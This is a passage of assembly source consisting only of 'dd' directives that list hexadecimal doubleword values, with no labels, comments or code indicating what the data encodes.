0A041F5F9h, 0BBE4819Ch, 0C558068h, 4225888Ch dd 59A7E400h, 8419C582h, 954532ABh, 586903A8h, 58B1B21Ah dd 96402099h, 4B26AEBCh, 66003EFEh, 21F27CCh, 0E01890B6h dd 192800B8h, 8B65A8E7h, 0D93C84E8h, 30B5A612h, 0EC057481h dd 9CC402D5h, 62F300EAh, 6E0D738Bh, 0AD008FFAh, 7D2BA13h dd 317112E3h, 0F9912E4Bh, 3BC2EC33h, 88FBE600h, 0EF2DB610h dd 0FF22046Dh, 0D242A1E4h, 77E005E8h, 2BFC89BAh, 25D7D007h dd 6892A6Ah, 15883D5Ch, 0F0D26B57h, 43CC4B0Fh, 55500F63h dd 20489EE2h, 0D709FDD4h, 41B793h, 1D1BC0A1h, 98F4E822h dd 0A824A360h, 75CAB8h, 87CE6967h, 456C3D4Dh, 0B939FC30h dd 0F2289E9h, 0C4C91A9Dh, 916927A0h, 0A512A466h, 5040BF49h dd 200956A6h, 0EE58009Eh, 0E905DE15h, 0F00125D1h, 6477460Ah dd 89FD7FA7h, 61E25832h, 9F8D30h, 0D733FECEh, 3702091Eh dd 71A60F00h, 1795E424h, 0A3E326E7h, 59302138h, 7051856h dd 36C00D2Bh, 0EC0049FBh dd 0F4F73229h, 6A08F499h, 0E938609Fh, 2421FCBAh, 1F1C6025h dd 0FAE858DDh, 3B7C5300h, 0FDED46EEh, 6AD001B0h, 9E0D415Ah dd 0CFF8507Bh, 951EE5E1h, 6980CD0Eh, 0E29B14A1h, 0FB8C3D3Ch dd 0D1D21E00h, 38500702h, 0DA853A00h, 483C77E4h, 47F8CAh dd 0A8DE3F52h, 6C33C63Bh, 198C059h, 7B800671h, 0C988128Fh dd 0D5609CF9h, 0FCBFD9h, 0A09ED3CCh, 3CA178FAh, 62C82000h dd 5D95E94Bh, 9F190774h, 0C08C7BD4h, 0A9F785C0h, 0DFC9700h dd 0E68251A8h, 7BEC002Dh, 7971331Fh, 5402258Ch, 0DD6CC3A7h dd 0ECB78102h, 589D295Ah, 0A586CE79h, 88D9B500h, 18C32757h dd 0EBA6B8D3h, 1E10F64Ah, 45C51299h, 39D4056Ah, 348CFC50h dd 0FB308400h, 1AA6777Fh, 0BBA053Bh, 0BE0798BEh, 7379BC1Bh dd 13E8C0h, 0D133936Fh, 0E87B0D2h, 0E5003DECh, 53E48EAAh dd 7328C9Eh, 92E644F1h, 55C880E9h, 0C700731Fh, 864C56DAh dd 7BAC947h, 0B415CC5Ah, 105CC076h, 3BFA8D40h, 0B558C805h dd 8800F79Fh, 3213AA2Ch, 3F8303A6h, 4173A05Bh, 80EE0DA1h dd 0CE8EF220h, 2CAD7FC5h, 0EF14D0h, 3100749h, 9F009CDBh dd 13D7F40Ch, 6FC305CDh, 0A1E58892h, 29B8433Fh, 0E03F761Ch dd 0E1388562h, 0A44703E7h, 0ADC20A79h, 0AB48A0B6h, 10A63F13h dd 884A85BBh, 83DF802Bh, 50F7A5CCh, 1D233A02h, 81DDD280h dd 78DE5DD0h, 725CF5C4h, 6D1C1462h, 6A00F432h, 0FF3AE44Ch dd 873A709Fh, 0A938003Eh, 55CD3161h, 0B891604Fh, 0E8EA4560h dd 0C59EEB07h, 40C6766Fh, 0B06803C9h, 43BF6C1Ch, 6182BA80h dd 4F37FB74h, 0B2702070h, 0B0134007h, 481A01EFh, 0A7387BCBh dd 7720808Bh, 9C728A76h, 0C1490A87h, 91807120h, 0CE819EB3h dd 874BB12Bh, 0DC40CA0Ch, 101100F5h, 0D5CD6B7h, 0F61A470Bh dd 86D85D15h, 3049BAF9h, 7E08ED30h, 9D37235Eh, 2A56499Ch dd 34AE00D1h, 6194D629h, 0C33AFEA5h, 549F05BFh, 4808417h dd 18D6E2BAh, 0A040D3B4h, 2009A5Eh, 0C25B3D1Dh, 24D0E8h dd 0A08B581h, 656A9654h, 0DD6D1700h, 1EBF8FDBh, 583901EBh dd 0CB7402D7h, 0EEC5C8B7h, 0EF00B37Fh, 69D3D9Ch, 1BD7FCBCh dd 0C820F777h, 5447FDE0h, 3D4C8601h, 0ADA6C3FBh, 0FCA2D9ECh dd 50BD015Bh, 6EAFF716h, 0F4D0587Ah, 0D0600704h, 452CFAEDh dd 3A06D600h, 0C05D965Bh, 0FFA24C1h, 3F94A04Ch, 0E2012448h dd 0A1926FC4h, 1D202356h, 0D540A341h, 0B6E6F4F3h, 0D3B5017Dh dd 306FEEC0h, 824034C7h, 12448507h, 34B0E9BAh, 0E83FA050h dd 5D21C0E4h, 0DC7427Eh, 0A84C1400h, 41A24D0Ah, 31290095h dd 0B4E9C063h, 4491AAD9h, 0AA607C44h, 0D0107E1Ch, 73B08DBDh dd 6F1C07ACh, 0B4819388h, 225164EFh, 4C04C440h, 81D302Ah dd 0C95468F9h, 248C3C48h, 1BE540Ah, 4DFC07C6h, 10935E9Ah dd 2D1860D7h, 0B1103D06h, 10DF3AABh, 0A5C900DCh, 0A78E7013h dd 2417311Ah, 31A46A78h, 56D08260h, 4232660Ch, 0E2AC00B8h dd 0F8B4C608h, 99EF6B0h, 0A4EE19D9h, 88C7BC90h, 966B0486h dd 0C42D6AB6h, 27BC88B8h, 60B940h, 5ADC95DEh, 1759AABBh dd 0BA24892h, 8650EC02h, 58EA498h, 93BF1204h, 7521B5E5h dd 0E0370065h, 0FCD6011Ch, 0CE48E1C1h, 0C89FE412h, 73D81115h dd 0B2B61F88h, 0BA0460C0h, 206761h, 6B5CFEADh, 34A2E764h dd 0D0B41834h, 0D72F3480h, 0E3DA12C6h, 5E3C20B8h, 882C8A7Dh dd 0E740645Dh, 2528C6h, 0E4025B01h, 8AA47DEDh, 0F1F830FDh dd 78FB400h, 0D00B1777h, 32AA05DCh, 0D4C901h, 0D8CF82B0h dd 16790AE8h, 2C55D109h, 482C00D7h, 0DCEE4C66h, 0C7770058h dd 0B067812Bh, 2144D898h, 89D36730h, 8E59E083h, 0C7001B7Fh dd 0DA0CFF90h, 0CEA855h, 459AD988h, 0A79D8323h, 0D308E400h dd 0E591A141h, 671F0035h, 0C07F4718h, 390343EBh, 234D4BAFh dd 0C3508195h, 12DB1824h, 2647C5Dh, 8FBF88F0h, 57A88C80h dd 7600F4FFh, 0BE7F052Ah, 3E4BD002h, 0B48026D7h, 0CAFE62E3h dd 0EB30DD84h, 80AF8EFh, 0BE60C04Ah, 49AD6B8Ch, 4085D601h dd 75E5C061h, 2515B03Bh, 0A7E18E0Eh, 86DA2009h, 6515274h dd 36B23A98h, 355718A4h, 0BCF804h, 0D89E70C9h, 0B8B90AF8h dd 7F88F4A0h, 0C5F9A403h, 0C1ACB94h, 3D459130h, 9DF008D0h dd 3607B3E8h, 3EB5CB1Eh, 0E83F9C8h, 32672683h, 0B6296000h dd 0B2A378Eh, 784C7B02h, 0BFE505C3h, 421989D9h, 3874830Ch dd 13278B22h, 1882B8CAh, 2710306Bh, 0FA0CA08Fh, 2B218424h dd 0D1913D04h, 308F2A99h, 0CC58A28h, 0EC48D354h, 0CB718A9h dd 0AF7C22CBh, 970C6354h, 0BB18CE50h, 962A7642h, 245F570Ch dd 21C2D1C4h, 4841B9B3h, 18427DE0h, 0E70CA597h, 651B1848h dd 70C488Ch, 9C306765h, 88E1248Bh, 30842252h, 5B90776Fh dd 3910C3B9h, 0CA63042Ch, 1804BEA0h, 7F75147h, 891204h dd 2277FB7Dh, 22ED0Eh, 1F886700h, 0D60CA74Fh, 0F42E3700h dd 6B2F9FCBh, 0D07005Fh, 0A34E30A1h, 0B016C08h, 0DE718A70h dd 2424120Eh, 464A0C5Ah, 0C5A02633h, 98A888EAh, 763056B6h dd 0B8671886h, 82370005h, 99C0B0FCh, 0DB817C6h, 0A10FC431h dd 0DA257376h, 3E177048h, 581F3B8h, 586A4A0Dh, 3CA88FB2h dd 0A096EEEEh, 0A4274B3Eh, 3444141Ch, 0E1AC1C83h, 0B79F0E02h dd 447A975Ch, 6C690068h, 0A637B49h, 20304B51h, 0A8655039h dd 0C34303C8h, 0BD57B816h, 91105805h, 0A4421B90h, 0C08B7183h dd 6A12368h, 3BC507D0h, 9078D89Eh, 782048FCh, 7BEF1732h dd 452402A5h, 1480C974h, 42F6F066h, 0B7DFC514h, 808B3834h dd 0A14F9238h, 4D958F0h, 9886C2CFh, 0D8DC802Eh, 9B0325EAh dd 290A3506h, 779F9021h, 47F7005Ah, 29CFCC8h, 1318D20Eh dd 0FFB98373h, 4B7C801Ah, 98BB3C37h, 0B8E7A3F3h, 2833603h dd 923A7BB3h, 0C880DC0Ch, 919D576Fh, 0C8871A02h, 403B070Eh dd 635B8B00h, 2A67D178h, 81F68010h, 0CB799EE1h, 0E41CAEC9h dd 840E05D6h, 8103E19Ah, 0B655E5B0h, 0A7411E8h, 9D105A0Fh dd 0E81D81C0h, 8A991849h, 0A56F5D10h, 711B3501h, 0A085CA5Ch dd 81849A39h, 0F187BE75h, 0DF1980E8h, 0D6205A3Bh, 0C39330CFh dd 37A971F9h, 0D0DFC0C7h, 8F7C3h, 0C9CC5918h, 26C76EC2h dd 0B99B900Ch, 0F9303036h, 0FEE845Ch, 5EA288D7h, 0E840A02Dh dd 2A036C89h, 0FE6AA61Ch, 7CA8DEE6h, 93A209D4h, 182F3120h dd 7C10C589h, 5849F9D9h, 79320094h, 0DCCCA1D2h, 929E0F5Fh dd 0F281743Eh, 5598E848h, 42108088h, 3F1D93C3h, 86CA626Dh dd 434F84E0h, 0F8DB31F0h, 1A579E8h, 5AFD1666h, 0D89E4F3Ch dd 3D00A4F4h, 70D0A0EEh, 1DCBA98h, 8A78279Dh, 40C83B59h dd 0C9964B80h, 0BB5EB912h, 70141027h, 0FA07E180h, 0A3FA4Eh dd 0DFA53871h, 86741F9Dh, 2008A1C9h, 34E0C298h, 8774CDDh dd 0A4D1E18Ch, 5B2C1509h, 2F09F4h, 0F2EA9934h, 2A649098h dd 194DDBCh, 93C9E359h, 8CB76C5Bh, 70A760E8h, 8A690F27h dd 30757A9Bh, 115A3C0h, 0F48CF33Dh, 0C3D4A09Eh, 1C4F4C76h dd 0E96C0902h, 48402FD5h, 0CD308B3Ch, 2A7B307Fh, 10A300ACh dd 4C96D511h, 0D42493DFh, 670008C0h, 157FFB22h, 0A3FE077Ch dd 99922046h, 6B25DC18h, 0E4A46000h, 30C7D341h, 0B53909E3h dd 70A0D45Eh, 0C37AD562h, 25C551C0h, 74FB03E4h, 9012802h dd 0C49D26A0h, 39B64010h, 0E5798938h, 0DFE08254h, 80600A3Eh dd 6B54AD10h, 0A47E1Ah dd 2461B1FBh, 3BDDAFB5h, 48E03A4Ch, 76B2A08Ch, 36F9C71Ch dd 0E2200248h, 5CA55045h, 8A300216h, 48AE9E4Ch, 74ECA9A0h dd 1BE675F3h, 0CE5B5300h, 42991909h, 186972BBh, 0F0CB4971h dd 0DD1D20E3h, 4F8B7EB6h, 1D440078h, 59566486h, 0C0DC48BCh dd 90D7FBA8h, 0B6146D6Ah, 82EC260Bh, 0A9CABAFFh, 0E10E2E4h dd 1096E6A0h, 0B5760AB1h, 0B0C41C2Fh, 44D03DB8h, 1304A73Ch dd 40208C6Ch, 9FEA39Fh, 19A19061h, 0BB0874A1h, 67218150h dd 3172E0D5h, 153D060h, 3B71A2FBh, 24515BDFh, 63110820h dd 0D0081C46h, 38016FAEh, 0BDBF6006h, 7809A098h, 0E8832FDAh dd 51461EAh, 35C0CC8Dh, 1C80400Fh, 89EFF667h, 48C9CA02h dd 0C9015682h, 72C451B4h, 51B76F5Ch, 824D3907h, 89128F2h dd 8C8A047h, 5FE70F12h, 0D3D0F000h, 23083CBh, 0BF8BC825h dd 0C48A973h, 370029A4h, 0BB3EB953h, 74D9F1Bh, 852AEEBEh dd 0FE16278Ch, 0B06DDAA0h, 0F85173F4h, 1E2877C0h, 0DF86B1C0h dd 21986EBh, 0A5E2230Ah, 64E3E426h, 4340F3C1h, 0CBC81AE4h dd 6679AA4h, 6B319C40h, 0CC205B75h, 0CC2F17D3h, 0C12420BAh dd 0A103BE3Bh, 380E40Eh, 0E8ABA00Ch, 531909F4h, 2039A970h dd 3E822C7h, 6BB78D0h, 1CF8000Dh, 577EAB5Ch, 4F07CF50h dd 6E5FD0D6h, 4A46B080h, 82E5003Ch, 0B52D269Eh, 50075621h dd 0B737FA9Ch, 76A03AE0h, 0B1F30211h, 0CDB1D54h, 0D89B06C0h dd 95B28D0Dh, 0FBF01153h, 443D3CC6h, 6B6EF405h, 3F3020B6h dd 7D7F9C59h, 80E99F76h, 62C9191h, 7009DBA7h, 72E11E90h dd 7A9EC00Fh, 50F1AD46h, 309D0730h, 0BADB43h, 514DA21Ah dd 897A4AD4h, 5D3E280Fh, 1D6020F1h, 544E2D8h, 0D1B668B8h dd 0F536C026h, 10FD91Ch, 0EC7D995Ch, 1105104h, 0BAF2745h dd 60514B36h, 3AEA017Dh, 9E033E00h, 0EF54A113h, 0B138677Dh dd 5D667383h, 6B56C808h, 2619849Ah, 0A25280DBh, 4C02AD7h dd 0A01CDE94h, 0AB070021h, 426488B1h, 5518A76Ch, 9C380EC7h dd 0F86800EFh, 9BAB3758h, 0DB00E17Dh, 0A76389C2h, 7B21CFDh dd 2916DE13h, 23E55DFh, 5AB93944h, 0A1458C01h, 28B582FCh dd 70C4BD8h, 8806F2AEh, 0A628908Ch, 0D40E55CAh, 0C15F9A09h dd 8040AAC6h, 3B2A42F0h, 121878C0h, 4EF4619Bh, 0B669200h dd 0AE074F1Bh, 2AF4F327h, 7C8A0044h, 6C469042h, 0B501873Ch dd 0FAA14009h, 10943EF1h, 7BB04F0h, 891FBAAFh, 44F206C0h dd 8D3C0316h, 8763AC4Bh, 0DC20FBA9h, 0C073B127h, 0FF39106h dd 4229AF6Ch, 0E87F081Fh, 2264084Ch, 11C05E84h, 5F25D302h dd 42B24001h, 86057800h, 40708E80h, 51C04713h, 613BA22Fh dd 678C0079h, 3F77F143h, 9B00CFFEh, 68FC6933h, 0E65AEEh dd 0A1870FD1h, 0D8593E76h, 9102F2E4h, 0D54D67B2h, 0CE31608Ah dd 8B4A00BEh, 0A56172DFh, 9E002402h, 8439EFD9h, 7C0947h dd 20F83AFCh, 6C54EDA4h, 4C032370h, 0FFD44083h, 0B306F8CBh dd 0C3C200F1h, 0E22AEB17h, 7EE9EBDh, 0D8185500h, 0C2AF233Dh dd 0EAD60003h, 0AC904860h, 0FC009C9Dh, 0F879477Eh, 2996977h dd 0B4502713h, 0C480BAE5h, 0F418989Ah, 467730F0h, 0F6329000h dd 0B788204h, 6F5E0050h, 94342308h, 393DB347h, 8385BDB2h dd 2EFA4FDCh, 684800B4h, 7E654086h, 81032CB5h, 9FE3725Dh dd 34E0000Bh, 12D3E8AAh, 690051EEh, 9B663E7Bh, 2CD4C01Eh dd 8F9C38h, 5E7F4229h, 0B13B28C6h, 671480F4h, 0D90286E9h dd 1F00092h, 7EEA73DAh, 0DE180E45h, 6B8056C7h, 8882008Ah dd 0B78C9EFAh, 4300C99Bh, 0BA4E1505h, 7C048BDFh, 0F7133894h dd 1F8FE181h, 8C11F0D9h, 0DC0AD210h, 1AE00029h, 6E646DA1h dd 0E80184A7h, 1B51863Ah, 0AA40C8E1h, 75C4C0BFh, 3B8E1227h dd 0A9CF0087h, 13987DD1h, 6E141700h, 249630BAh, 90D2001Eh dd 0C6764CEh, 4A580305h, 88EB00FFh, 83FD10EEh, 22961643h dd 69730059h, 667AD217h, 25ED6707h, 2790F7A3h, 0F1EF345h dd 0A1E3E608h, 8D02AD00h, 2B008B15h, 493288C5h, 1F781F62h dd 83EC66C4h, 0BAE38953h, 7800AAFBh, 68E2DEA9h, 0EE7CCDh dd 7B0CED3Ah, 0B027070Bh, 86F21D00h, 3F5313E2h, 99183D45h dd 0FA696F00h, 4EA2AF3Eh, 7605E000h, 202E8480h, 0B4A43F95h dd 0B0216E80h, 7AF20351h, 0E5E73400h, 0FF5C93E6h, 14DE009Bh dd 5444B016h, 0C80339CCh, 0C6066045h, 181BD069h, 83FF0F7Bh dd 0E160AB20h, 0CD161ACAh, 32920B01h, 0B83F2E03h, 23D840E1h dd 28981F9Eh, 0C1851D76h, 0E2A76F60h, 19C080D7h, 31C04006h dd 0BCC40034h, 0B94627F1h, 0AC00A196h, 0A556421Dh, 75E92A0h dd 0D6FC33D5h, 691BF089h, 6F00B051h, 289AA2A8h, 0A6FD1Ah dd 0F18E58FFh, 0D7F3BA23h, 9550D400h, 2518EBC9h, 10BC4C88h dd 0E65EE700h, 3382A642h, 47D15001h, 0B767B02Fh, 417CC8DFh dd 7EDA005Bh, 7B3DB8D8h, 8F0074CAh, 380931B4h, 3A3F3EABh dd 0E4A51349h, 0A11759F8h, 0B8A0D303h, 0DABE3951h, 612008B0h dd 0CF00F69Eh, 1755DF07h, 39F5473Dh, 300D429h, 0A7641353h dd 0B73DF3FEh, 0DD9D81ADh, 8A3D4E2Ch, 369E9B40h, 0C2CC0019h dd 3CFCB26Fh, 4100E6CBh, 304FE14Ch, 7DC5FFh, 864DD226h dd 977B618Ch, 0A522DB1Dh, 415E1240h, 0A694FDh, 81BE8C1h dd 6A402DD7h, 9547D000h, 8A2C9DF1h, 37A400CFh, 78DA521Fh dd 593F1DD9h, 0BC4E803Ch, 162A982Bh, 0A4DF003Bh, 0EA27D14Dh dd 680FA3CBh, 804B90F2h, 0C9F67522h, 0E9850093h, 0C6F487F1h dd 0CE00173Eh, 6D45EB5Ch, 73410Ch, 0B48BD646h, 1371A7F6h dd 695E9300h, 49D9A0ACh, 744F0EE6h, 0BF809750h, 23EDCEC1h dd 3767A800h, 0EE20AFA6h, 3B8D003Fh, 0BA420596h, 4600EBB2h dd 64BBF5EAh, 12F70F99h, 0C22082h, 0AB51A13Eh, 0BBF2EDA3h dd 7C00C8F6h, 63CD15A8h, 46BECCh, 2D6579D7h, 0A9B0B73h dd 0AC77C800h, 0D43697C9h, 0A9F00143h, 67D66A45h, 0A899FCDAh dd 0D35A9212h, 7E559100h, 3A2E327Bh, 584801DEh, 93F54A04h dd 80094036h, 0E0DFD568h, 35120742h, 10C77A83h, 15AB4FEFh dd 0E8643D00h, 41712516h, 0F1D3037Fh, 0DE91A043h, 3DC8AD8Bh dd 82008C1Eh, 8A3C657Ch, 6BEEFBh, 0F72843D0h, 0DF56A86Eh dd 58384D00h, 0E8FD1B6Dh, 30870077h, 11C3A127h, 6A1F1981h dd 0C64026B8h, 8D7B6704h, 0CE1003B7h, 60C06D2Bh, 2EE20FE8h dd 80126B3Bh, 919E1FAFh, 0CBF93Dh, 0B2442667h, 2988F25h dd 2A60CD07h, 439099A0h, 7C57BFBh, 6B139CD2h, 0C7B18026h dd 0D70151ECh, 669B4E60h, 32FCA2AAh, 525B028h, 0E10388B6h dd 5D1F80DDh, 2F00966Ah, 406FBB9Eh, 0C4D65Fh, 4744D972h dd 0E7FA0370h, 123E5C07h, 7AB07188h, 0C4E63Ah, 8AFCC1C7h dd 450892BEh, 0F7185C00h, 0E20C369Fh, 0A2E4002Ah, 398E74CDh dd 0B71FAADEh, 0ED07E1A1h, 19D06EACh, 14377E35h, 0FB93FA36h dd 1B91FB00h, 618B1CAFh, 5A7B7200h, 1428BC1Fh, 0A8E2008Eh dd 46742E06h, 2A00D5BFh, 6681D639h, 1CFF88Fh, 0E2DCC64Ch dd 0CCBB26C5h, 94032012h, 0E080D211h, 48368071h, 836A4C58h dd 86D3C700h, 19E41A1Fh, 70C43900h, 932F2621h, 0B79E0F28h dd 4860D324h, 0E45599C9h, 9AB4D100h, 973A68F6h, 1D7FEEh dd 5B072206h, 2A2C81C1h, 4C994E00h, 0B9CCF1A5h, 0DDBF03F8h dd 0B41E1C43h, 49371680h, 870E407h, 319FAA9h, 40DF41h dd 61D87A6Eh, 0B21A4B12h dd 0B9E4713Dh, 46EE8C6Dh, 3DB76E9h, 371E02A9h, 2DF8AFDFh dd 9EE4870Ch, 36E85F1Eh, 0DE7291C0h, 60EDECDAh, 0AB026601h dd 1F007066h, 684FC955h, 0E4E43397h, 5F8E0760h, 0D17A9153h dd 0E95BCDF2h, 6FAE60C8h, 0F4B2A00h, 0D047FAEh, 9C210F7Eh dd 2240DED1h, 7036EE8h, 0EF602B60h, 1695430h, 26B53BE0h dd 0FC08C179h, 0D50027DDh, 0A8533274h, 0D7C902h, 0E1559D90h dd 8B03418Dh, 0C4F423FEh, 8EB830EAh, 3B9F1800h, 0CEB04295h dd 925B0157h, 5F61D701h, 446BC4C0h, 71EB0307h, 7C10ECF2h dd 1F2281F7h, 1402E0h, 6C920594h, 553A6B1Fh, 154B00C7h dd 5C7DE951h, 8D57003Ah, 0C6BF3456h, 473B95DDh, 4BF5802Bh dd 0AD9B3FEFh, 221B00B3h, 68F23A8Eh, 2AE431C2h, 168C2400h dd 74518AB2h, 1C761Bh, 28B14A6Ch, 6E05F2CAh, 5C03C900h dd 8FF4B78Ah, 85742Ah, 927C2B77h, 2FF61A50h, 0DD73EC00h dd 0BA3B0BAEh, 0D379073Dh, 0B1F5EEDCh, 0F04CE99Eh, 0B7501272h dd 6B01D988h, 7A0E414Ah, 0E03A142Ch, 0C10084E9h, 507E380Fh dd 826BE5h, 44CAAAC6h, 0AC7D5FF8h, 6EA24200h, 4C0745C5h dd 88EE00FDh, 4F7BB99Eh, 2007E3Ah, 7C708630h, 0DCF280h dd 5CACB554h, 0D21D2A15h, 0F94AD700h, 0E234FBA7h, 9457006Dh dd 0D6D46260h, 800ADE0h, 0D9C89D71h, 1A47CEh, 0B3800D7Fh dd 3966BB8Eh, 94151F00h, 7D73C9F4h, 1C6B077Eh, 80C47A02h dd 27125307h, 67204754h, 0D50D1B0Fh, 8D0E740h, 0E7B16950h dd 0AE521F03h, 0DEBC8010h, 55E89048h, 3DDCB5Ch, 0E9FD0BB8h dd 70181CCh, 0A79FCh, 0C14BEF0Fh, 0BE475893h, 800BDB0Ah dd 9A049AD6h, 0D9C09CEDh, 0B883CDC3h, 630F1E52h, 0DD338081h dd 6A38CB49h, 23F79700h, 0FB067A7Fh, 19AEE1Ah, 0DAD526F9h dd 0F8E3CD62h, 0F3607B4Ch, 0A6CE3618h, 0DCF51E37h, 0BC38044h dd 9DA502C2h, 3B004DB0h, 62FF1AD5h, 23C1ACh, 388F1C33h dd 81BEB241h, 7A0460B0h, 0CCD1B3E2h, 2FE12DC0h, 0A0470019h dd 3C3B2810h, 0B200B043h, 839BBC5Eh, 3FE03DE8h, 0A300D1CAh dd 46E80FAh, 7000457Fh, 2271DDAFh, 3C199CEh, 0E3EA3D6h dd 0BEF8D57Bh, 9D00F62Eh, 0CF76BC36h, 2CFA09h, 622F88E4h dd 228426D2h, 0D80A9730h, 0D4A9B0h, 0F5B1A4E8h, 1CCBD57Ah dd 0AB1AAE01h, 45190EEBh, 5B3A60h, 0CA309640h, 3D72D2C7h dd 0E80066FCh, 5AE42EA3h, 5648B9h, 0FEC3DB4Bh, 683A4131h dd 0B64C0C00h, 0A23B934Eh, 0ECFCA011h, 5EB900B8h, 61A66F26h dd 57004EDDh, 19D88F9Fh, 0F53B53h, 0F7C70821h, 6E90E3EDh dd 0C4A1310Ah, 5292B4A0h, 55B100AAh, 5E638B8Dh, 0C1D09C0Fh dd 0C938E367h, 13A0D8F5h, 0F955002Dh, 0B5EDE059h, 65249214h dd 811F0B5Ch, 2A4A2EC0h, 0A81B0Ch, 2BAEAD4h, 0B6AFA51Dh dd 81D26B00h, 527E5856h, 0BDE842h, 9A36B9D4h, 8E876413h dd 139B03Ch, 5385F9D5h, 0D7E4E263h, 0E8BF0DEh, 90D19524h dd 0B6A981BDh, 60C86423h, 820084EFh, 0FFBF1141h, 2FE8D7h dd 222BD328h, 3B71C9EAh, 45B60B00h, 989BD069h, 74CA000Dh dd 0BABDF7E1h, 820E04F9h, 80438356h, 516D487Ah, 54BF030Bh dd 0E33B1EADh, 0B64167E8h, 69520500h, 0E0B0D5AFh, 85A301D4h dd 60A6C46Ah, 8681E06Dh, 3DA73800h, 0A94189A5h, 4DCE12D7h dd 4600EBEBh, 0F3CCE251h, 9D40024h, 7C7E6292h, 9300DE06h dd 4A30C21Fh, 3DA20425h, 0EC00BCABh, 0DEB9F5C0h, 8200517Fh dd 0FA854C2Dh, 34EF1F6h, 0CE8BDEBh, 0E788276Eh, 6D00113Eh dd 9DB1D62Fh, 0E069D015h, 841F0277h, 5C2D33D2h, 7AC606C0h dd 180C4707h, 3750DE95h, 7975DDh, 688ADA72h, 0E7D25A3Dh dd 9335C000h, 7FC7011Ch, 4BD400DBh, 8A688B05h, 73071211h dd 0ED24B82Dh, 999A5380h, 4BCE30FEh, 7CE95864h, 7F6D2D0Fh dd 41BB804Dh, 26C2DD49h, 0A20884h, 0E4DE0C0Ah, 7B6FE7A3h dd 0C36FA119h, 0ACD01D3Fh, 2E730396h, 888AA7A8h, 948003EAh dd 5BD77254h, 1CF0F900h, 8319308Eh, 58B35C23h, 0E78D470Fh dd 0BDA28960h, 440572A0h, 31FB0BB7h, 4790AC00h, 0F4247F79h dd 5818007Ah, 7CCF1A8Fh, 4F0E600Fh, 7C468A3h, 0BD017F8Ch dd 388034C0h, 3A59108Bh, 8D0015E5h, 0AEB0F462h, 0FDE17BFh dd 7FD2C09h, 6DA92000h, 8A000CC9h, 67E55AA5h, 28B5B8D3h dd 0BE01A04h, 70B6668Bh, 0E3AF0300h, 200FDCDDh, 0F47B01AAh dd 15EE00E4h, 341B23E4h, 5F570C79h, 4020A843h, 8567D00h dd 7AFE6ADAh, 0AB7C0717h, 7E5AEDE6h, 1CD4641h, 0EBBFC898h dd 0AAD0CE00h, 0D754F4C8h, 1CFF2C7Ch, 1B480060h, 1DF04D6Eh dd 0BBA6F200h, 79606AA3h, 40F100ECh, 5B21F6C3h, 99014468h dd 0A4BCCF5Eh, 2B601FDEh, 5C0B00E4h, 753ED27Dh, 5A00099Ch dd 9BBB02B2h, 7C7AFA9Fh, 2A6B007Bh, 89408363h, 0C6010688h dd 19A81AC2h, 21C4793Eh, 0FE23003Ah, 75501BC7h, 8D7FB5A3h dd 683F1E00h, 395E54E6h, 0AF9F0076h, 604B1DCEh, 2107FB93h dd 82A9203h, 0F903ED7h, 0D2809h, 84305F17h, 0B4743B26h dd 0E9FF9503h, 0C891B029h, 279376h, 0C04B1AB7h, 5CC248E1h dd 0B94E9500h, 4FCC61AEh, 4ADA006Dh, 0E29C0FFCh, 3C0E9158h dd 1B8BB7Ch, 5E45FF83h, 0E0F9C8h, 0A274113Dh, 26AD8E89h dd 3C3E373Bh, 4DB1803Ah, 0AAE4D925h, 92590157h, 0BD83DC15h dd 0FA770DAh, 3E89F801h, 0F44C9945h, 1CBFEEE0h, 0C19242A3h dd 0C5E30AB8h, 50BC4043h, 0C605C190h, 6533A5Eh, 74651B0h dd 7285D0DDh, 58483C82h, 0FA172600h, 3CF22234h, 0C6B90742h dd 31A41348h, 0C4825F2Bh, 0FA00460Eh, 145671Bh, 3C5B8E54h dd 0ED3D7C87h, 1A831300h, 0C32DC569h, 0DC1E300h, 334B6A1Dh dd 50C91D01h, 3AF94034h, 0E3EC6EB8h, 0BDFFEE00h, 99F178CDh dd 5AC31E43h, 81960074h, 0AA40F476h, 0B20039E4h, 8E18AC88h dd 1F9EBE1h, 0BDDEBAA1h, 0C91D6884h, 4B7920B6h, 5217C707h dd 45E0D9FEh, 5CE57E86h, 0EC00EFDFh, 0C8D11DC6h, 727D5DFDh dd 53288B00h, 880DE93Ah, 0C28D2E7Ch, 3F4C0B9Bh, 40836A87h dd 0AFECEA7Ah, 89639700h, 29F1754Dh, 0CD4B00E7h, 10DDB2B8h dd 910BAB0Ah, 1117E28h, 338E6F80h, 77C00DC0h, 0C0854A40h dd 9938F96Fh, 15A0300h, 6E29F61Eh, 2D801F1Bh, 235B0036h dd 92FE7C1Ah, 81125092h, 3B1350E5h, 0F41ED300h, 0B95C015h dd 72B4C27Ch, 4A037456h, 0D00DAD33h, 825C69h, 0D4DF96BBh dd 49C84E5Dh, 80F7A13Dh, 0C7FDD8C4h, 1D61E70Dh, 3B19F77h dd 0A8D2AC8Fh, 5F4D50E0h, 1EF1471Fh, 0CD25E6C0h, 0A539F8h dd 6A2AFACCh, 8DF79A82h, 1BE8C700h, 0CBA37463h, 53B6ACh dd 958A0BD4h, 7539B15Bh, 376F00E1h, 9B0D7080h, 40136057h dd 42C6AA9Fh, 6A1AF000h, 433A15F3h, 692A0394h, 0A3328ECh dd 7EB1BE2Ch, 0C1F6A200h, 7E688FBBh, 1C57732h, 0D04A0C05h dd 80ACD109h, 0FD39BAF4h, 0ABFAEDh, 903EBE83h, 0D5B07465h dd 700091E8h, 1D66B717h, 2A4006h, 7E80756Bh, 0ED95AE4Ah dd 12C7743Fh, 6600F715h, 0D4569DFDh, 1F380016h, 30D8853Ah dd 0DF0FA3AFh, 4ECEB61h, 5BC05196h, 8D3260h, 79A76D17h dd 522F6A25h, 67F63100h, 0B4E20BACh, 76340F91h, 0A2A0DA3Eh dd 0CEA856C6h, 9555A31Fh, 0A5DC8A80h, 0B6BD4Eh, 20CBA41Ch dd 0FBBABE84h, 6D101F60h, 6A6CD6h, 0C48D4DD4h, 0AF954F2Eh dd 644E5E00h, 0ED80C13Ch dd 0C698C0h, 5582226Ah, 456DE14Bh, 3AD1B100h, 277490AAh dd 60E20044h, 490D684Dh, 0CA00949Bh, 0AAC084CDh, 791D9DD4h dd 3815006Eh, 75916623h, 60F675Ah, 60F15251h, 24D0723Ah dd 0EC9909C2h, 0B980CFD3h, 287BABA8h, 425B6600h, 0CD2F7025h dd 203D1D23h, 0E396C021h, 0E78FD7B5h, 0C1491600h, 0BC7BBF08h dd 365700BDh, 854E872Eh, 910048ACh, 0E1DFA1FEh, 0BECAC8h dd 6D24B215h, 965666FDh, 